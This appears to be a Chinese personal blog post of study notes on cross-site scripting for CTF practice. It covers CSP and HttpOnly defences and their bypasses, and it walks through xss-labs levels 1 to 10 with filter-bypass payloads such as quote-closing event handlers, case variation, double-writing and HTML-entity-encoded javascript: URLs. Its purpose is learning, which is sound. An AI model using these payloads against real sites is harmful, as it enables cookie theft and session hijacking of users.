最重要!
1.6 xss挑战平台练习 - bmjoker - 博客园
XSS在ctf中的一些考点 - 哔哩哔哩
HTML字符实体转换,网页字符实体编码
欢迎来到level1

漏洞原理:接受输入数据,输出显示数据后解析执行
基础类型:反射(非持续),存储(持续),DOM-BAS
拓展类型::query,mxss,uxss,pdfxss,flashxss,上传xss等
攻击利用:盲打,COOKIE盗取,凭据窃取,页面劫持,网络钓鱼,权限维持等
安全修复:字符过滤,实例化编码,httponly,CSP防护,WAF拦截等
测试流程:看输出想输入在哪,更改输入看执行代码(执行结果由标签,过滤决定)

xss 常用标签及绕过姿势总结 - FreeBuf网络安全行业门户

【漏洞复现】phpStudy 小皮 Windows面板 RCE漏洞_phpstudy漏洞-CSDN博客

ProbiusOfficial (探姬) · GitHub

GitHub - ProbiusOfficial/Hello-CTF: 【Hello CTF】题目配套,免费开源的CTF入门教程,针对0基础新手编写,同时兼顾信息差的填补,对各阶段的CTFer都友好的开源教程,致力于CTF和网络安全的开源生态!

一、 CSP(Content Security Policy 内容安全策略)

内容安全策略是一种可信白名单机制,来限制网站中是否可以包含某来源内容。

该制度明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单,它的实现和执行全部由浏览器完成,开发者只需提供配置。

禁止加载外域代码,防止复杂的攻击逻辑
禁止外域提交,网站被攻击后,用户的数据不会泄露到外域
禁止内联脚本执行(规则较严格,目前发现GitHub使用)
禁止未授权的脚本执行(新特性,GoogleMap 移动版在使用)

合理使用上报可以及时发现XSS,利于尽快修复问题

小结:CSP打开了则不能加载外部资源(图片/URL等),那么xss就利用不了

开启 CSP 时 XSS 的加载情况
未开启 CSP 时 XSS 的加载情况(数据包请求不到 报红)

绕过:有但鸡肋

对于XSS跨站脚本攻击的学习-先知社区

Web安全2.3:CSP安全策略、Cookie、Session、同源策略、HTML DOM树_csp meta report url html-CSDN博客

二、 Httponly

禁止页面的 JavaScript 访问带有 Httponly 属性的 Cookie

php.ini 设置或代码引用

1、session.cookie_httponly =1

2、ini_set("session.cookie_httponly", 1);

3、setcookie('', '', time() + 3600, '/xss', '', false, true);

开发示例:

开启 Httponly 时 XSS 窃取 Cookie 的加载情况 只针对Cookie获取

绕过有但鸡肋

(1)CVE-2012-0053

(2)phpinfo页面查看Cookie 直接访问

(3)Flash/Java

XSS攻击之HttpOnly绕过-CSDN博客

三、工具 XSSFilter

检查用户输入的数据中是否包含特殊字符, 如<、>、’、”,进行实体化等。

靶场:手工分析&工具分析

Xss-Lab 标签及常见过滤绕过

环境下载:GitHub - Re13orn/xss-lab: 20 level xss lab by network!!!

参考资料:XSS总结-先知社区

工具资料:GitHub - s0md3v/XSStrike: Most advanced XSS scanner.

XSS 检测神器:XSStrike 保姆级教程-阿里云开发者社区

各种方式触发js代码,正则绕过呢,还没遇到

四、xss-lab 通关

xss-labs通关全详解-CSDN博客

xss-labs靶场1-20关详解 - L00kback - 博客园

1、无任何过滤

<script>alert()</script>

2、实体化 输入框没有

"> <scripts>alert()<script> <"  

3、全部实体化利用标签事件单引号闭合 (对<>、;过滤,鼠标划过即可)

' onfocus=javascript:alert()  '

4、全部实体化 利用标签事件 双引号闭合

" onfocus=javascript:alert() "

5、事件关键字过滤利用其他标签调用双引号闭合 (过滤on标签)

"> <a href=javascript:alert()>xxx</a> <"

6、利用大小写未正则匹配

"> <sCript>alert()</sCript><"

7、利用双写绕过匹配

"> <a hrehreff=javasscriptcrtpt:alert()>x</a> <"

8、利用 Unicode 编码 (浏览器url栏能执行代码,但是前端页面编码可能不认得)

&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0029

9、利用 Unicode 编码 (内容检测) 要加http!!

&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0029;('http://')

10、隐藏属性触发闭合

?t_sort=" onfocus=javascript:alert() type="text

11-20

xss-labs靶场实战全通关详细过程(xss靶场详解)-CSDN博客

补充:

A、符号实体化(HTML Entity Encoding) 是一种安全防护措施,将特殊字符转换为HTML实体,防止浏览器将其解释为代码 编码绕过xss说明和htmlspecialchars函数 - LaiBuNiZi - 博客园

&->&amp;
 "->&quot;
 '->&#039; 
<->&lt;
 >->gt;
 <script> --> <&ltscript&gt

B、黑盒XSS手工分析思路:

1、页面中显示的数据找可控的(有些隐藏的)

2、利用可控地方发送JS代码去看执行加载情况

3、成功执行即XSS,不能成功就看语句输出的地方显示(过滤)

4、根据显示分析为什么不能执行(实体化,符号括起来,关键字被删除等)

小结

遇见CSP、HTTPonly转头,遇到过滤可以试试

XSS在CTF中的考点还要多刷题,在实际渗透中没有其他漏洞好利用
XSS和SQL注入类似,都是闭合再过滤一些关键符号,工具也和sqlmap类似

主要是SQL还可以得到账号密码啥的,而XSS要受害者动手触发,难触发,一般配合钓鱼/CSRF/SSRF

改天在服务器上搭个xss-lab,测试一下,只知道弹窗不行,还要知道怎么获取关键Cookie,怎么绕过(用哪些函数)

欢迎来访 这是我的小窝~ 网安弱鸡 健身屌丝 好不容易搭出来的 大佬略过我
最后更新于 2025-12-04